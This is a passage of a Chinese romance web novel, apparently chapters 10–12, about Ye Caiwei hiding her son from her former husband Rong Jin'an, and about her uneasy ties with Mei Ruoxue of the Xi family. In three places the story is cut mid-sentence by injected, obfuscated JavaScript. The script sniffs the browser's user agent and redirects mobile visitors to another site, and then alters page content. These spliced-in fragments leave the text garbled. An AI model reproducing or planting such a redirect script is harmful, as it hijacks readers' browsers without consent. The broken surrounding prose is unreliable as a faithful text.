见叶采薇神色黯然,她又连忙说: “前年初,温大姑娘得了个千金。小姑娘玉雪可爱,和温大姑娘简直一个模子里倒出来的,因为这五年孟大人和容大人走得极近,就连孩子的大名,都是容大人起的。” 叶采薇的脸柔软了下来。 “倒是温家两位公子,这五年几乎和容家断绝了往来,与从前完全不同。温大姑娘大约是知道她两个哥哥的心思,也不从中说和,任凭他们几家的关系继续这么别扭下去。” 叶采薇忽然想起前晚在客栈里,容津岸没来由地说“温谣的两个兄长,他们也很想你”。 都断绝往来了,怎么还编排人家呢? 叶采薇趴下去,头枕在问鹂的腿上,依偎起来。 “这些年,三皇子齐王迟迟没有得到太子之位,容大人高升后,齐王给容大人塞过不少女人。不过容大人一个没收,统统打发了;京城里,无论老钱还是新贵,多少待字闺中的姑娘对容大人动过心思,明里暗里用尽了手段,游娘子也煞费苦心张罗过不少,容大人从来没有松过口。” 说话时,问鹂轻抚叶采薇的青丝,仔细观察着她的表情。 叶采薇却冷笑,不以为意: “那是因为,她们一个个脸皮薄、要顾及自己的矜持,遇到个不管不顾死缠烂打的康和县主,容津岸不就没拒绝,还带人从京城到池州、一起登山?” 因为康和县主和你长得有点像啊,我的姑娘。 但问鹂没这么说,她自己也觉得这话说出来恶心人。 反正是那县主一路从京城追过来的。 眼看快要到目的地,她问: “是直接去别院吗?” 叶采薇毫不犹豫地点头:“已经出来了四天,小家伙肯定很想我。” 当然,她也很想他。 “对了。”叶采薇此时的笑容,温柔得不像话,她抱着问鹂的腰: “问鹂,我的好问鹂,你改口了这几天,回去了,可千万莫要再叫错,尤其是在别院里。小家伙耳朵灵得很,脑子转得快,若是让他听见了,肯定要缠着我问,这趟出门几天发生了什么,让问鹂姑姑把阿娘叫作了‘姑娘’。” “到时候,我难道要跟他坦白,我的宝贝呀,阿娘见到你那个已经死了五年的渣爹爹吗?” 问鹂其实很享受自家姑娘抱着她撒娇的时候,连连应诺,谁知随手掀开马车的侧帘,目光一顿,说话的语气,突然变得严肃: “先生,眼下恐怕不是一个称呼的问题了。” 叶采薇顺着她的手向外望去,只见落后她们一点点的地方,另一辆马车与她们保持着距离,匀速前进。 她认得,那是容津岸的马车。 “改道回书院。”叶采薇说,声音和脸色一样沉。 因着扩大规模,青莲书院在嘉泰元年起便从东流县城搬到了郊外的半山,叶采薇她们快到县城时,马车一拐,便上了专道。 然而出乎她所料,容津岸的马车径直入了城,似乎并不是为了跟踪她而来。 但,她不敢冒风险再次改道,只能先回书院,静观其变。 叶采薇心事重重,回到寝房、洗漱更衣之后,就连整理书作的手稿,都格外心不在焉。 书院里,老师和学生的寝房并未分开,只是因着叶采薇是唯一一名女子,书院山长特意将她的寝房安排在了稍远一点的地方,让她便宜行事。 午时过半,学生在饭堂用了午膳回来歇晌,三三两两的交谈声、嬉笑声,声声从叶采薇案前的直棱窗中飘进来,她干脆停了笔,望着窗外发呆。 容津岸就是在这个时候来的。 说来也是巧,跟着叶采薇上山采风的几个学生,回来县城原本是要各回各家的,可谁知有一人想起走时寝房里自己养的水仙和月季忘记了浇水,心急回来看,刚好在山下书院门口,碰见了准备打听“姚先生”的容津岸。 容津岸向他表明来意,说姚先生昨晚为康和县主慷慨解囊,他专程赶来,向姚先生当面致谢。 那学生是素日里对叶采薇最为言听计从的一个,在他领着人出现的第一时间,便将这番话,原原本本说与了自己的老师。 即使他并未想明白,那康和县主分明不是容大人的未婚妻,怎么容大人还为了她,专程跑一趟东流? 再说,昨晚上明明有大把的时间,怎么非要等到现在? 然而这些疑问不该他问出口,他一心记挂着自己的水仙和月季,客套几句后,便径直离开了。 留容津岸一人站在窗前,在叶采薇客气的假笑消失的瞬间,开口: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730566|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男女混居,就为了陪那些学生夜读方便?” 前晚在池州府城的客栈,容津岸听学生们说过,他们留下来夜读,她总会陪伴他们。 他脸上的巴掌印已经淡了大半,浓烈的阳光下,惨白的皮肤仿佛病骨支离,偏生他挺立如松。 “先生是书院里第一个女先生,这间房是山长特意为先生安排的,平日里奴婢与先生在此起居,一方天地,自在无拘,并无任何不妥。” 问鹂立在房门口,阻挡容津岸更多窥伺的视线。 她当然不能说,其实她们主仆二人很多时候都歇在别院里,小公子睡前听不到娘亲讲的故事,会难以入眠。 “远道而来,不请我进去坐坐?”容津岸便转向了问鹂。 “大人方才也说了,男女有别,这里到底是女子的闺房,又是人来人往的书院中,若是被旁人看见、传了出去,对我家先生清誉有损。”问鹂客气地拒绝。 即使是在当年的叶府,因着叶采薇闺房里里外外伺候的婢女仆妇众多,与容津岸偷偷私会,也基本是叶采薇溜到他的房中。 “那就请问鹂姑娘带路,引容某去方便说话的地方?”他不疾不徐。 “我与你无话可说。”叶采薇拉过掐丝珐琅彩的沉香木镇纸,把满桌的书稿压好,站起来,又忽然想起什么: “如果你来,真是想替你的红颜知己道谢的话,那最好的行动,就是替她把钱还给我。” 说话间,她已经走到了门口,问鹂的身边。 树上的蝉将夏日叫得“呲呲”作响,冲淡了容津岸身上清冷的香气,叶采薇眉目蹙着盛夏的绯红,她不等他回应,又说: “不过,我本来也没打算让你们还钱。我的学生们都很好,在外人面前保全他们的颜面,是我这个老师应有的责任。” “与学生亲密无间、甚至答应他们的提亲,也是你的责任之一吗?”容津岸的喉结滚动,像个小山尖。 他在说佟归鹤的事,叶采薇忽然一阵烦躁。 “你走不走?”她瞪着他。 像只不耐烦的、叽叽喳喳的麻雀。 “我虽然人在丁忧,但仍挂着礼部尚书的职位。”他倒是慢条斯理起来,“南直隶的秋闱就在下个月,我过去打声招呼,也并不麻烦。” 叶采薇当然听懂了他的言外之意:“你、你怎么能拿他们的前途开玩笑?!” 容津岸笑了起来,漆黑的瞳孔倒映着叶采薇此刻因为急怒而涨红的脸: “佟归鹤——” “得不到功名,他永远没有机会向你提亲。” “薇薇,你因为这个暴跳如雷?” ?? “我根本不可能答应他!”叶采薇冲口而出。 她心口一缩,蓦地收回视线,觉得自己虽然说了实话,却隐隐预感到,像是落入了这个男人的陷阱一样。 “是吗?”容津岸眉宇微蹙,“你是习惯性言而无信的人,我怎么信你?” “简直是张口就来,”叶采薇摇头,“我什么时候言而无信了?” “你说过要一辈子跟我在一起的,不也食言了吗?”他说。 叶采薇无语凝噎。 这人怎么长得道貌岸然,说出口的话却比谁都要胡搅蛮缠? 问鹂忍不住朝容津岸身后不远处,候着的容文乐使眼色。 叶采薇指尖掐着掌心,花朵似的小脸还红着: “这根本就是两回事,我、我和他——” “那现在就跟我走。” 容津岸打断了她。 “跟我走,我会考虑,相信你说的承诺。” 10. 明媚掌控 10 叶采薇被他这幅理直气壮的样子气笑了: “容津岸,你能不能要点脸?” 她饱满的胸口上下起伏。 “玩弄人家小姑娘的感情,对人家始乱终弃的是你吧?” “收了我给游娘子仙逝的帛金,反过来要挟我向朝廷命官行贿的是你吧?” “吃拿卡要、好处占尽,不负责任的是你吧?” 叶采薇越说,越觉得容津岸的罪行简直罄竹难书,她一口气不停歇,还兀自提高了音调: “你怎么还有脸,跑到我的地盘来撒野?” “你敢拿我的学生来威胁我?” “前后足足有一万五千两银子,我的诚意还不够多?你是吞象的蛇吗,不怕被撑死?” 她一瞬不瞬地盯住他,不甘示弱。 “我以为,昨天容文乐的话说得够清楚了。” 容津岸倒像是淡了下来,说完还睨了容文乐一眼。 叶采薇蹙眉正要问,忽然想起回来的马车上问鹂所言,容文乐告诉她,五年来,容津岸身边一直没有别的女人。 可是,他告诉她这些做什么? 她的心跳骤然发紧。 容津岸又说: “叶采薇,”连名带姓喊她,每一个字都是嘲讽的语气,“你以为我把你带回去,会对你做什么?” 他不停顿,甚至还夹杂着冷笑: “和你再续前缘,用十里红妆再次将你迎娶过门?让全天下都看到,来欣赏我们的琴瑟和鸣举案齐眉?” 他双目猩红: “我要用鞭子狠狠抽你一顿,然后把你关在暗无天日的地牢里,没有人、没有人能够找到你。我要用生锈的锁链铐住你的手和脚,你连喝水,都只能跪.趴在我的脚下,可怜巴巴地求我,求我喂你——” 容文乐和问鹂吓得说不出话来,惊恐对望。 这是一个光风霁月的谦谦君子、朝野上下享誉盛名的清流领袖,能够说出来的话? 叶采薇又惊又怒。 容津岸吐词清晰,字字句句恶毒如砒.霜,燎得叶采薇双眼一阵刺痛,发麻,颤抖,她忍不住抬起手,又要像那晚一样,赏他一个大嘴巴子 ——谁料他预判了她的反应,在她抬手的一瞬,双腕都被他握住。 “又想打我了?”得逞的人无情地嘲弄着她的失败,“这两天,我顶着你的杰作招摇过市,你心里得意得很,是不是?” 就像从前,明知道他的皮肤比寻常人白,她还是故意在他脖子上留下吻.痕。 旁人眼里的他清冷守礼,绝不可能会有那样的痕迹,在外时,他只好不断将中衣的交领往上提。 她待他事事委曲求全,难得有这样的机会,得意地欣赏他因她而起的窘迫。 但眼下不是当年了。 叶采薇语塞,瞳孔大张。 双腕被他捏住的地方疼得要命,她像是被他强行按在了悬崖边,目睹深渊吃人的黑洞,猎猎底风销魂蚀骨,随时都可能推下去,粉身碎骨,万劫不复。 他疯了,容津岸疯了。 ——“大人” ——“容大人” 容文乐和问鹂的声音同时响起。 他们是壮着胆子开口的,以容津岸现在的模样,场面随时都有可能失控。 但出乎他们的意料,箭在弦上,容津岸却突然松了劲力,朝外几步。 他身形修长笔直,如千年不倒的孤松,方才那些言行,与他格格不入。 他的背影,竟然还有种说不出的萧索和落寞。 “叶采薇。” “叶采薇。” “被自己亲近之人联起手来背叛的滋味,你很想让我也尝足、尝够,是不是?” 然后拂袖而去。 空阔在沉寂中草草收场,树上的蝉又开始“呲呲”长鸣,一声接一声,一声接一声,此起彼伏,密不断绝。 这个“也”字,并非容津岸空穴来风。 叶采薇曾经被亲近之人联手背叛,其中之一,还是与她相依为命、被她视若神明的父亲叶渚亭。 那些事容津岸了如指掌,今日他突然失控,给她安上了莫名其妙的罪名。 什么意思? ——“先生、先生?” ——“姑娘,你还好吗?” 叶采薇痴滞,如同在暴雨中被淋得透彻的麻雀,问鹂心急如焚,不断唤她。 “立刻,现在立刻去别院。” 失魂落魄的麻雀眼底黯然,勉强打起精神。 叶采薇的心中风雨大作,她想明白了。 容津岸所谓“亲近之人联手”,一个是指她,另一个人,则与别院有关。 方才他没有直接跟着她,而是分道先入了东流县城,显然就是去求证答案。 难道他已经知道了叶琛的存在,甚至……还见了他们的儿子? 一路疯了一般追赶,主仆二人杀到别院,在门口,却刚好撞见了另一对主仆。 “七奶奶。”叶采薇的心快要跳出来,但对方此时优哉游哉,她只能极力掩饰自己的慌乱。 但旋即她发觉,一切似乎并没有她想得那般糟糕。 这位“七奶奶”,是东流望族奚家七爷的正室夫人梅若雪。她穿浅洋红色彩晕锦衫裙,裙摆稍短,露出湖绿色茱萸纹裙边和镶了东珠的妆花鞋头,单螺髻配着一整套赤金缧丝嵌宝头面,光是盈盈玉立,足以富贵逼人。 叶采薇上前握住她的手:“是我来晚了。” 梅若雪任由对方顺势挽住了她,两只玉臂紧紧相贴,笑容淡淡: “原本是该今日一大早过来,谁知下面的人报说庄子上临时生了事,我便赶过去,这才忙完过来。” 叶采薇的心已然安定了下来,见梅若雪眼底泛着疲惫,不由疼惜起来: “这些年,多亏了七奶奶照拂,我才能够在东流落地生根。这次是我不收信诺,说好了三日便回的。” 说完,她又上下打量着梅若雪,上身贴过去: “七奶奶这一身好看得紧,刚刚第一眼,把我眼睛都看直了,忍不住一看再看。” 梅若雪生得温婉,因着直白的夸奖,白皙的双颊泛起浅浅红晕,她低道: “采薇,还是你会夸人。” 然后说: “你是七爷的挚友,你的事就是我的事,我们姐妹一场,那些客气的话你可千万别说了。咱们赶紧进去吧,前儿我来的时候,容安还可怜巴巴地问我,阿娘说好了明日回来,明日真的能回来吗?” 想起儿子叶琛,叶采薇的心都要化了,两人携手才刚走进别院正门,身后忽然有小厮来报: “七奶奶,午前府里来了客,自称是七爷从前在国子监的老友,姓容。小的回他七爷近期都不在东流,他便问起了奶奶您。” “你怎么回他的?”梅若雪问。 “这个时候,七奶奶不在府中。”那小厮一字不落地回答,“容公子听完便匆匆离去,并未留下话。” 叶采薇却忽然明白了过来。 方才容津岸拿佟归鹤提亲的事来试探她,她回答的那句“根本不可能答应他”,若是容津岸钻了牛角尖,把“七奶奶不在府中”联系起来,会不会认为,奚家的七奶奶,就是她叶采薇? 毕竟这位奚家七爷奚子瑜,是唯一称得上容津岸挚友的人。 在他眼里,她与他和离后转头嫁给了他的挚友,多年来向他隐瞒踪迹,留他一人在京城,被蒙在鼓里。 算是联手将他背叛。 但若果真如此,容津岸又显然太过冲动失智。 早在他们初识的时候,大家便都知晓奚子瑜有个青梅竹马的未婚妻,两人感情甚笃。后来奚子瑜回到东流,与梅若雪风光大婚,婚后还育有两个可爱的孩子,是远近驰名的恩爱夫妻。 即便容津岸不信任她的人品,也应当信任奚子瑜。 ——“阿娘!阿娘!” 叶采薇想着冲动失智的容津岸,一声他亲生儿子朗润清脆的呼唤,又将她拉回现实。 她低头,看向扑到自己脚边的叶琛。 叶琛的容貌生得和她像极了,然而神态动作却与容津岸一模一样。 看见他,就像看见了方才在书院里对她出言不逊的某个人。 而叶琛无辜,又显然太过想念自己的娘亲,不顾她从小到大对他严格的君子规训,扯着她的裙摆,来回拉动。 香宝花罗面料脆弱,叶琛又下了极大的力气,裙摆登时皱成一片,叶采薇被拉得烦了,板起脸,捉住他的小手,拉开,厉声道: “阿娘才几天不在,你就要准备上房揭瓦了?叶容安,教你的规矩呢,是不是根本没有用心去记?” 叶琛再天资聪颖,也是个才满四岁的稚嫩孩童,难得表达思念,却被娘亲当头狠狠泼了一盆冷水,眉眼顿时耷拉下来。 然而他也完美地继承了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730567|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母高傲又倔强的脾性,即使热泪在眼眶中打转,也绝不服输,从叶采薇手中抽出自己的手,站得笔直,仰头看向梅若雪: “七奶奶,七叔叔呢?他什么时候回来?” 梅若雪浑身一僵,并未回答,叶采薇身后的问鹂看穿了叶琛的情绪,连忙上来,蹲在叶琛身前,摸了摸他的头: “容安几天不见阿娘,想不想听阿娘说说,那庆林书院的讲会有些什么新奇的乐子?” 叶琛却只看着梅若雪: “容安想念七叔叔了,只有七叔叔在的时候,才会带容安出门玩。七奶奶,七叔叔什么时候回来?” 梅若雪恢复了温婉的模样,也蹲下来,拉着叶琛的手: “容安,你很想出门?” 然后看了一眼叶采薇,见她面色沉沉,便继续对叶琛温柔说道: “这两天别院里冷清得很,七奶奶让弟弟和妹妹过来陪陪容安,好不好?” *** 别院在东流城西,与城东的奚家大宅,有好长一段距离。 马车启程后,梅若雪的乳母眼珠子转了转,说: “那姚氏把咱们当成什么了?姑娘今日是为了她的庄子才来回奔波的,她倒好,谢字不说,自己不会管教儿子,还要姑娘你来替她擦屁股!” 梅若雪拍了拍她的手:“嬷嬷的话未免太难听了些,我与采薇情同姐妹,哪里计较细枝末节。” 乳母却恨铁不成钢: “傻姑娘,你把人家当姐妹,那姚氏可把你当冤大头呢?什么姐妹,共事一夫的姐妹吗?” 梅若雪脸色一变:“莫要胡说!” 乳母拧着脸: “姑娘也别觉得老奴说话难听,正所谓‘忠言逆耳’。姑娘可知道,这些年来,别院里服侍的、还有外面见过琛哥儿的,私底下都议论,说琛哥儿是七爷的种。姑娘你与七爷的婚约,可是老太爷亲自拍板定下的,就算从前你寄居奚府时忍气吞声,这些年里,你为七爷为奚家做了那么多,哪个不敬你一声七奶奶?七爷当甩手掌柜,还要金屋藏娇,你又何必忍气吞声,帮一个外室劳心劳力照看孩子?” 梅若雪敛眉:“是丫鬟和乳母在照看琛哥儿,我不过是抽空过去看看罢了。” 乳母“啧”了一下,气已经提到了胸口,却听梅若雪又说: “采薇信任我,将她来东流后购置的庄子都交给我打理,这几年我背地里捞了多少好处,你还不清楚吗?” “哎哟喂我的小祖宗,”乳母锤了锤自己的胸口, “虽说未雨绸缪,姚氏庄子里的油水入了私库,能让你在奚家的腰杆子硬气一些,但那点子钱财,跟七爷的家产比起来算什么?” “可别忘了,七爷为了姚氏,连进士的功名、翰林院里大好的前程都舍得干净,如果没有姚氏从中作梗,你现在可是京官太太,不仅是金山银山,还有无限的风光和脸面,哪里需要抠抠搜搜过日子?” 梅若雪却彻底沉下脸来: “嬷嬷,我再说一遍,什么外室、什么金屋藏娇的话,以后都不许说了。回去之后立刻仔细查查,都是些什么人嘴碎,乱嚼舌根子,查到了,也不必来报我,赏一顿板子,统统撵出去。” “七爷与采薇是清清白白的,这件事,我最清楚不过。” 清清白白吗? 五年前,他突然回到东流,向她坦白,他爱上了那个他从京城带回来的姑娘,并说她若是想要退婚,他可以出面,向奚家的长辈背负一切。 后来,他们成了婚,他在人前给了她所有的尊重和礼貌,可也只有她知道,那些只为了履行义务的夫妻敦伦、貌似愧怍实则敷衍的冷淡,他明明热情似火,是偶尔意乱情迷,一面喊着“薇薇”一面狠狠欺她 ——这些,又确实与“清白”无关。 但她知道,姚氏是个再无辜不过的人。 梅若雪从小便深爱一个男人,从姚氏的眼神里,她自然读出她的深爱。 这个男人就是叶琛的父亲,不是她的夫君奚子瑜。 “姑娘,老奴有一计,不知当不当说。”乳母又开了口。 “不当说就别说。” “午前府上来的那个容公子,自称是七爷从前在国子监的老友。”乳母却还是说了,“七爷不是向来都对外称,琛哥儿是他过世挚友的儿子吗?” “算算时辰,那容公子应当还在东流县城里,不如咱们做个顺水人情,把琛哥儿给人送过去?” 11. 失信者 11 听了乳母的话,梅若雪不由沉吟。 其实,在刚刚到达别院门口、听小厮来报那位自称是夫君国子监老友的公子姓容的时候,她的心中就已然开始泛起了疑惑。 五年前,她的夫君将姚氏带到东流,告诉她,姚氏是他已故好友的遗孀。那位好友姓叶,祖父与奚家老太爷曾经同在内阁任职、都是天子近臣。 他想要照顾姚氏,若是她不能接受,她可以与他退婚,所有的责任他将一力承担。 但她没有选择放手。 很快,姚氏被诊出有孕,只是大夫说她先前受过极大的刺激,心思郁结,加之茶饭不思、脾胃不和,这一胎恐怕很难顺利保住。 那时候梅若雪想,如果姚氏果真落了胎,她那与她木然成亲、圆房的夫君,会不会动手杀了不中用的大夫? 所幸,即使形容枯槁,姚氏最终还是挺了过来。 姚氏生产时,梅若雪也已经有了好几个月的身孕,故而直到今日,她也对姚氏临盆时的九死一生记忆犹新。 那个孩子,还未出生就已获得了大名和表字,梅若雪也从未对“容安”二字产生过怀疑—— 可是,方才小厮在说起夫君那位国子监的好友时,姚氏面上那一闪而过的仓皇和错愕,却骗不得人。 真相恐怕是,这位远道而来的容公子,才是姚氏的前夫、叶琛真正的父亲,根本就没有死,姚氏也并非姓姚,而是姓叶。 这些,是她的夫君和姚氏,共同保守了五年的秘密,谁也不清楚。 她的夫君把她当做外人,不肯告诉她全部的真相,是觉得她会因此而对叶采薇更加愤恨—— 她与他的婚约是由奚老太爷亲自拍板做的决定,但原来奚老太爷,与叶采薇的祖父才是共患难的故交。 现在,秘密被揭穿,改变一切的机会近在眼前。 叶采薇原本就深爱那位容公子,还为他不辞艰难怀胎、九死一生产下儿子,她梅若雪让他们一家三口团圆,是在做好事呀! 嬷嬷说得对。 *** 别院里。 叶采薇惶然,其实在目睹梅若雪安抚叶琛、与叶琛温和而自在地交流时,她觉得自己像个外人一样。 方才刚刚来到别院,对叶琛说出那几句严厉的指责,几乎立刻,她就有些后悔了。 这一趟去池州府城,是她在叶琛出生后第一次离开东流。出发前,她答应了儿子,三天一定会回来。 是她食言在先,不占半点理。 纵使叶琛见面时的表现再无礼再不堪,也全然是出于对她的思念,她不该当着这么多人的面,泼他的冷水。 她太冲动了。 明知道叶琛和他那个渣爹爹容津岸的脾气一脉相承,最是要面子,也最是爱端架子,她偏偏要往他的肺管子里戳。 可是她忍不住,从生下叶琛开始,她就不得不狠下心来,扮演一个严母。 毕竟,她自己就因为从小丧母而被叶渚亭溺爱长大,以至于过分以自我为中心,顽劣、娇纵,从来没有站在叶渚亭的角度考虑过问题。 当年父女二人差点决裂,她不能让悲剧,再次在她与叶琛的身上上演。 这间别院非常大,足够一个年幼的稚童从襁褓到少年的成长,叶琛自两岁开蒙起,便喜欢在种满蔷薇的花廊下默默读书习文。 梅若雪走后,叶琛只与叶采薇简单交代了一句,一个人走回到书房,踩着木杌拿到书案上他正在习读的《大学》,来到花廊之下。 清高又倔强的模样,和容津岸简直一个模子刻出来的。 花廊下有专门为他摆的圆杌,叶琛却并不坐,只是站着。他比一般的四岁孩童要生得瘦一些也高一些,书本被他双手捧着,恰若一株笔直挺立的、小小的松树。 松树的树冠,在他手中发出轻微的响动。 叶琛对悄然走到身边的娘亲视而不见。 叶采薇也并不想打扰他的专注,尽管道歉的话已经挤在了她的嘴边。 她默然。 叶琛这孩子,不仅完美地继承了她与容津岸绝好的相貌和绝不肯轻易服软的犟劲,还加倍发扬了两人敏慧的头脑,天资聪颖、一点就透,若是有实在想不通的问题,才会主动问她。 到时候再讲不迟。 浓烈的阳光透过茂盛的蔷薇花和枝叶,零零落落地打在叶琛白皙的皮肤上,他的瞳仁又大又黑,薄唇抿成了一条线,小小年纪,眉宇间竟然已经有了一丝深邃的愁苦,与这满身的花影,竟有了一丝苦中作乐的味道。 就这样,母子两人相对静默。 叶琛手中的《大学》翻了好多页,问鹂忽然过来,形色匆匆,面色如铁,她覆在叶采薇的耳边说: “七奶奶那边来了人,说容大人又去了奚家大宅,七奶奶让先生带着小公子过去。” 叶采薇的手蓦地攥紧。 果然,不应该对容津岸抱有侥幸吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730568|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她辛辛苦苦藏匿了五年的一切,还是被他轻而易举地找到。 更重要的是,梅若雪这样吩咐,她没有任何拒绝或者出逃的余地。 这别院是奚家的。 “阿娘?”她的仓皇和强作淡定落入了叶琛的眼,男孩放下手中的书卷,黑漆漆的瞳孔看着她。 爱就算捂住了嘴巴,也会从眼睛里跑出来。 “容安,想不想阿娘带你出门?”叶采薇脸颊发酸,勉强挤出了笑。 从叶琛呱呱坠地起,这还是叶采薇第一次带他离开别院。 小家伙连在马车上都保持着端正的坐姿,叶采薇与他挨着,忍不住将手放在他圆圆的后脑勺,轻抚。 叶琛也不问他们要去哪里,目光从两边飞速抖动的马车侧帘收回来,认真看向自己的娘亲: “阿娘,你是不是有心事?” 怎么会没有心事呢? 从她来到东流、发现已经怀了容津岸的骨肉开始,她一刻也没有停止过心事重重。 除了出生时差点让她送命,叶琛其实是个极为省事的孩子,但也正因为如此,叶采薇对他的管教更加严厉。 “容安,方才阿娘回来的时候凶了你,没有考虑你的感受,阿娘错了。” “容安不循礼节,是容安的错。” “容安,如果阿娘骗了你,你会生阿娘的气吗?”叶采薇又问。 骗他他的娘亲姓姚,骗他他的父亲五年前过世。 这些谎言,很快便都要一一揭穿了。 马车摇晃,恰若她此刻动荡的心绪。 叶琛沉吟片刻,然后显出了超过寻常稚童不少的理智和淡定,他仰着小脸,与叶采薇对视: “孟子曰:‘君子可以欺其方,难罔以非其道’①,阿娘是君子,容安也是君子,阿娘用合理的谎言欺骗容安,容安知道,阿娘有自己的道理。” 叶采薇第一次觉得,叶琛像一只孑然傲立的鹤,孤守自己的理想和向往,泰山崩于眼前而不变色。 她的心陡然化成了一滩水。 伸出手来,把叶琛紧紧抱在了怀里,眼泪滑落,不让儿子察觉。 她应当往好处去想。 任谁来,都会一眼看出,叶琛是容津岸的儿子。 至少,被容津岸知晓真相,他能解开误会,不会认为是她背着他嫁给了奚子瑜。 好友之间,不应当有嫌隙。 旁的,就等她向容津岸一一清算。 12. 夜游 12 奚家是东流县最大的名门望族,其大宅规模之大,整整占据了连着的四条街道。 梅若雪的心腹早已候在角门,待叶采薇母子二人下车,便领着他们进了府。 庭院深深,院落重重,别说这是叶琛第一次来奚家大宅,就连从小在京城对权贵司空见惯的叶采薇,也忍不住暗叹奚宅的富贵荣华。 一路上几乎没遇见什么人,叶琛安静地走着,目光收敛,叶采薇则紧紧牵住他的手,并未说一句话。 等他们停在了一处院落,来到漆黑森严的正堂,却只见梅若雪一人端坐在正中的太师椅上。她下首处有黄花梨木的几张圈椅和几案,却不见茶具,全然没有半点招待过客人的模样。 叶采薇扑扑猛跳的心像是突然被按住,怔愣在原地,叶琛却松开了她的手。 “给七奶奶请安。” 纵使第一次遭遇这样严肃的场合,叶琛也毫不露怯,他将平日里叶采薇对他君子礼节的训教贯彻始终,向梅若雪谦恭行礼。 梅若雪已然换了一身衣衫,缃色雨丝锦八幅裙,袖口缀着莲花缠枝纹的滚边,一整套的头面换成了斜插的金赤玉步摇,见叶琛如此,先笑着让他不必拘礼,又连忙对一旁的乳母道: “小厨房才做好了群鲜羹和龙井流心酥,带琛哥儿下去用吧,琛哥儿第一次到我这来,可别让我发现你们怠慢了他、不把他当做正经主子,否则,仔细你们的皮!” 梅若雪一向温柔和婉,叶采薇第一次见她对下人这般狠厉,头皮一跳。 在叶琛走后,梅若雪又将剩余的三两婢仆遣退,偌大的正堂,只剩她与叶采薇二人。 叶采薇的表情五味杂陈,梅若雪主动站起来,走到她的身前,像她从前一样包握住她的双手: “采薇,是我不好,用谎话把你们母子骗来。” 叶采薇觉得梅若雪的手心冰冰凉。 “但这些话,我今天一定要说。” “你……采薇,是不是有事瞒着我?”梅若雪的眼中竟然闪着泪光。 *** 梅若雪并未留叶采薇母子在府上用饭。 确定人已经走后,梅若雪的乳母,终于按捺不住道: “我的小祖宗啊……你怎么事到临头,还是心软了?” 既然已经猜准了那位容公子的身份,报信拦人的小厮也在马上蓄势待发,最后关头,梅若雪却命令小厮转了向,另往别院去。 “我若真把采薇母子推到那容公子面前去,七爷回来知道了,怕不是要撕了我。”梅若雪躺在贵妃榻上,懒懒闭目养神。 乳母迟疑一瞬: “那看来,琛哥儿就是七爷和姚氏,哦不,叶氏的种?” “不,容安和七爷没有关系,”梅若雪蓦地睁开眼,乜了乳母一下: “这件事着实太大,若我真做了,在七爷那里,再没有挽回的余地。” “那……”乳母蜡黄的眼珠圆瞪,这下彻底拿不准自家姑娘的想法。 “采薇已经答应我了,等到她现在的学生完成科考,她就带着容安,彻底离开东流。” “但……秋闱倒是就在下个月,很快就能结束。不过奴婢听说,姚氏在青莲书院的那几个学生,个个出类拔萃,恐怕秋闱他们顺利中举,还要参加明年三月春闱、四月殿试,距离眼下有整整大半年,其中的变数可就太多了,不说别的,光是七爷回来——” “七爷昨天的来信说,西南那边的事情遇到阻滞,下个月赶不回来。”梅若雪吸了口气,不知道在想些什么: “采薇的那些田庄和铺子,都会便宜转让给我。下个月的秋闱,她也会先以陪学生赴考的名义,前往应天。” 回到别院的马车里,叶采薇再次与叶琛并坐。 梅若雪的话,仍然回荡在她耳畔: “我这么做,也是为了容安的将来考虑。采薇,咱们同为人母,你总不可能,让他一辈子都锁在别院的那一方小小天地里吧?” “容安是个懂事的孩子,越是这样,我越不忍心让他受到伤害。” “……是我疏忽,御下无方,今天才知道下面的人嘴碎,污蔑你与七爷的关系,还说容安是……你放心,乱嚼舌根子的那些都被我打发了,以后这东流县城,再也不会有人说你和容安的闲话。” 马车辚辚,敲动叶采薇的心扉,叶琛与她挨着,突然握住了她的手。 说是握住也不准确,叶琛的手还小,只能沿着她的虎口,攥着她的手掌。 “阿娘,七奶奶是不是不喜欢我?” 叶采薇一惊,鸦睫不住颤抖,她反手攥住自己的儿子:“七奶奶对你那么好,容安,你别——” “可是,”叶琛却难得无礼地打断了自己的娘亲,他小小的眉宇蹙着: “平日里容安的吃食,已经是珍馐美馔不断,七奶奶今天突然把我们请到奚家,却只让我留在房里……” 叶采薇的柔荑不住地翻搅。 “那是外面日头太大了,七奶奶心疼你,怕你晒着热着了。” 叶琛沉默,叶采薇忐忑,不知他会不会被她拙劣的谎言蒙蔽。 “七叔叔到底是不是我爹?”谁知叶琛又问。 叶采薇连连否认,叶琛的瞳孔迷茫,看向她却又郑重万分: “其实……方才在奚府,容安听见下人们议论,说容安是七叔叔的私生子……” 叶采薇的心狠狠一抽。 